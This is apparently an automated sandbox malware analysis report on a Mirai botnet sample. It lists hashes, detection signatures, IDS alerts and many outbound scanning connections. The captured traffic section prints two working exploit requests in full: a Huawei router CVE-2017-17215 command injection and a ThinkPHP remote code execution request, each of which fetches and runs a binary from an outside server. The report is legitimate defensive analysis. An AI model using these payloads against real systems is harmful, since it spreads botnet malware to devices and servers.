Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
ogWpjtLcso

Overview

General Information

Sample Name:ogWpjtLcso
Analysis ID:635081
MD5:e2501a4bed62e15c3cf59b781b2ab698
SHA1:5ed9286b1b9d36a06dceac8bd0da8ba739ed68e9
SHA256:f207c0abf680d783ddeb59dc245c4b4e84e471e44c4bb7703019bc2486fdd5d3
Tags:32armelfmirai
Infos:

Detection

Mirai
Score:72
Range:0 - 100
Whitelisted:false

Signatures

Yara detected Mirai
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Uses known network protocols on non-standard ports
Sample tries to kill multiple processes (SIGKILL)
Sample has stripped symbol table
HTTP GET or POST without a user agent
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Detected TCP or UDP traffic on non-standard ports
Sample tries to kill a process (SIGKILL)
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.
Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.
Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.
Joe Sandbox Version:34.0.0 Boulder Opal
Analysis ID:635081
Start date and time: 27/05/202212:40:372022-05-27 12:40:37 +02:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 7m 3s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:ogWpjtLcso
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Detection:MAL
Classification:mal72.spre.troj.lin@0/0@0/0
  • Report size exceeded maximum capacity and may have missing network information.
Command:/tmp/ogWpjtLcso
PID:6230
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
Infected By Cult
Standard Error:
  • system is lnxubuntu20
  • cleanup
SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_Mirai_12Yara detected MiraiJoe Security
    Timestamp:192.168.2.2395.97.189.18244088802839471 05/27/22-12:41:26.233242
    SID:2839471
    Source Port:44088
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.2395.52.93.5847304802839471 05/27/22-12:41:47.290211
    SID:2839471
    Source Port:47304
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.2388.247.172.235136802839471 05/27/22-12:41:48.711474
    SID:2839471
    Source Port:35136
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.2395.101.93.9954318802839471 05/27/22-12:41:37.698966
    SID:2839471
    Source Port:54318
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.2388.80.177.17638888802839471 05/27/22-12:41:41.709523
    SID:2839471
    Source Port:38888
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.2395.68.46.21445714802839471 05/27/22-12:41:31.584015
    SID:2839471
    Source Port:45714
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.2388.72.100.054594802839471 05/27/22-12:41:33.759271
    SID:2839471
    Source Port:54594
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.2395.163.124.24551614802839471 05/27/22-12:41:37.748726
    SID:2839471
    Source Port:51614
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.2395.85.72.11444518802839471 05/27/22-12:41:31.577298
    SID:2839471
    Source Port:44518
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.2395.156.226.6949982802839471 05/27/22-12:41:31.554788
    SID:2839471
    Source Port:49982
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.23112.137.60.7443984802839471 05/27/22-12:41:35.303316
    SID:2839471
    Source Port:43984
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.23197.246.192.10853320372152835222 05/27/22-12:41:42.355128
    SID:2835222
    Source Port:53320
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.2388.103.220.24237162802839471 05/27/22-12:41:45.955319
    SID:2839471
    Source Port:37162
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack
    Timestamp:192.168.2.2388.221.228.20151072802839471 05/27/22-12:41:43.825767
    SID:2839471
    Source Port:51072
    Destination Port:80
    Protocol:TCP
    Classtype:Web Application Attack

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: ogWpjtLcsoVirustotal: Detection: 58%Perma Link

    Networking

    barindex
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:44088 -> 95.97.189.182:80
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:49982 -> 95.156.226.69:80
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:44518 -> 95.85.72.114:80
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:54594 -> 88.72.100.0:80
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:43984 -> 112.137.60.74:80
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:45714 -> 95.68.46.214:80
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:54318 -> 95.101.93.99:80
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:51614 -> 95.163.124.245:80
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:38888 -> 88.80.177.176:80
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53320 -> 197.246.192.108:37215
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:51072 -> 88.221.228.201:80
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:37162 -> 88.103.220.242:80
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:47304 -> 95.52.93.58:80
    Source: TrafficSnort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:35136 -> 88.247.172.2:80
    Source: unknownNetwork traffic detected: HTTP traffic on port 53320 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 53320
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36564
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36568
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36572
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36606
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36612
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36652
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36666
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36674
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36676
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36680
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 48250
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 48258
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 48278
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 48282
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 48284
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 48288
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 48298
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 48300
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 48316
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 48346
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 50704
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 50706
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 50726
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 50738
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 50744
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 50748
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 50778
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 50786
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 50792
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 50796
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 45822
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 45832
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 45836
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 45838
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 45842
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 45868
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 45874
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 45912
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 45930
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 45942
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 35 35 2e 31 36 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.55.16 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.95.55.16/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-AgData Raw: Data Ascii:
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.206.54.31:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.229.67.228:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.182.142.146:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.35.9.229:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.147.156.2:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.79.26.127:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.106.200.117:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.11.178.35:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.131.45.175:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.63.125.201:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.33.208.187:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.232.197.16:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.88.137.100:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.24.0.79:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.204.31.200:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.15.72.172:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.123.27.149:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.75.69.26:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.254.109.244:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.21.56.38:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.156.205.121:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.203.214.76:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.231.204.5:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.132.170.77:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.147.158.155:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.188.171.218:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.84.9.59:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.87.236.147:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.139.30.144:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.241.91.88:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.151.62.192:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.194.241.7:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.155.105.87:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.102.76.64:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.55.25.42:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.60.68.31:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.85.131.155:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.107.144.222:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.131.206.232:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.64.27.10:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.134.92.163:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.63.117.78:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.168.162.133:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.193.39.20:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.42.2.1:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.2.56.156:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.195.204.131:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.209.140.146:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.119.31.137:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.70.8.117:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.172.6.56:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.228.43.96:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.74.107.165:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.156.141.255:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.150.8.154:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.174.236.205:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.211.173.133:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.10.103.20:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.188.46.185:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.112.24.216:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.55.118.50:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.87.238.20:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.213.252.161:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.223.16.196:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.59.244.197:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.129.13.46:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.43.143.88:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.134.16.117:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.242.90.46:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.93.190.180:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.48.57.47:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.166.202.143:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.208.30.234:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.156.4.56:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.200.196.36:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.145.187.202:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.206.121.223:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.187.153.31:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.222.86.27:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.210.248.207:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.25.160.162:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.171.100.21:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.151.69.185:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.1.227.87:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.63.127.173:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.164.168.55:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.91.58.207:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.35.158.181:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.39.30.80:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.9.37.237:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.212.125.40:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.194.238.119:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.22.240.230:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.86.12.112:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.208.55.136:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.81.106.243:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.247.233.141:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.235.111.105:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.156.86.66:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.32.7.154:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.136.107.60:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.33.212.191:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.54.6.31:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.129.168.203:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.13.228.81:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.241.204.59:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.68.72.198:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.141.47.52:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.170.72.95:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.69.142.236:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.164.202.170:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.134.48.250:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.176.194.209:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.115.184.32:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.135.227.102:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.245.125.250:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.33.135.238:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.106.196.76:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.158.189.75:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.233.99.228:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.40.68.193:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.178.247.70:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.3.150.147:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.230.145.220:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.42.230.41:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.78.45.6:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.91.237.69:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.68.180.179:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.202.202.204:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.121.90.9:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.165.237.212:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.143.205.233:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.169.93.122:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.61.32.245:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.201.128.136:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.130.232.143:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.111.104.28:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.95.49.200:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.199.112.194:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.96.132.185:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.100.201.144:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.255.21.190:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.12.211.185:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.220.39.250:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.71.97.134:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.24.91.255:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.134.101.3:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.101.159.235:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.43.62.7:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.4.196.247:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.124.243.31:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.58.206.61:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.85.111.111:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.54.227.3:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.125.52.15:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.106.173.234:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.225.118.102:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.87.183.32:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.166.47.6:37215
    Source: global trafficTCP traffic: 192.168.2.23:43257 -> 157.206.172.105:37215
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 95.63.55.31:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 62.228.67.228:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 94.166.244.234:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 94.66.216.239:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 95.6.209.225:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 85.215.37.18:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.79.18.33:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.60.243.146:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.205.133.36:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 62.142.9.232:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 95.227.90.50:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 62.168.10.232:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 62.244.25.22:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 62.14.98.103:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.215.23.113:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 94.245.219.49:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.25.154.9:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 94.218.206.115:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 62.7.159.160:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 85.38.177.53:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 62.101.23.87:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 95.240.26.80:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 85.194.144.203:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.89.130.127:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.221.87.150:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 94.63.159.229:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.82.117.141:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 95.147.195.156:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.245.184.163:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 94.233.196.67:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 85.131.181.216:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 95.254.69.128:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.237.19.121:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.121.121.33:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 85.188.128.17:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 95.68.142.75:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.231.134.50:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 62.210.100.216:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 31.198.135.191:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 85.209.52.144:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 62.200.90.95:8080
    Source: global trafficTCP traffic: 192.168.2.23:38649 -> 95.44.31.163:8080
